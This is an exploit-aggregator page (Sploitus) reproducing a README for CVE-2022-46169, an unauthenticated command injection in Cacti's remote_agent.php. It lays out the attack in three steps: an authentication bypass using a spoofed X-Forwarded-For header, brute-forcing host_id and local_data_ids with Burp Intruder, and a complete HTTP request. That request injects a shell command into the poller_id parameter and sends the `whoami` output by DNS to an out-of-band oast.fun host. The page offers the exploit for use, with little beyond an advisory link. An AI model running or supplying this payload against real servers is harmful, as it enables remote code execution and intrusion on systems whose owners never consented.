Sploitus

Exploit for Incorrect Authorization in Cacti

githubexploit Β· 2022-12-08

Exploit Code

README43 lines
## https://sploitus.com/exploit?id=1A9B29FC-015C-5C3E-A3EB-C72836CC6372
# CVE-2022-46169

CVE-2022-46169 Cacti remote_agent.php Unauthenticated Command Injection.

## Auth Bypass

Add `X-Forwarded-For` header to bypass authentication, note that its value is not a fixed value.

![image](https://user-images.githubusercontent.com/40891670/206341900-5b4b4a59-92c5-4d19-9913-e97c1aa44180.png)

![image](https://user-images.githubusercontent.com/40891670/206342934-3e2f99e3-8ae6-406c-b28b-38bc6fd6c21c.png)

## Brute Force

Use Burp Intruder to fuzz test the values of `host_id` and `local_data_ids`.

![image](https://user-images.githubusercontent.com/40891670/206341202-253e43ec-da5b-43d1-8d3a-2e36c9041605.png)

![image](https://user-images.githubusercontent.com/40891670/206341491-aa41526b-12f8-4e97-999b-90f14a1d301b.png)

## RCE

The point of command injection is the `poller_id` parameter.

```http
GET /cacti/remote_agent.php?action=polldata&poller_id=;ping%20-c%202%20`whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun&host_id=2&local_data_ids[]=6 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1


```

![image](https://user-images.githubusercontent.com/40891670/206337930-d1c2c044-b7ea-47ff-a740-9f8320594816.png)


## Reference

- https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf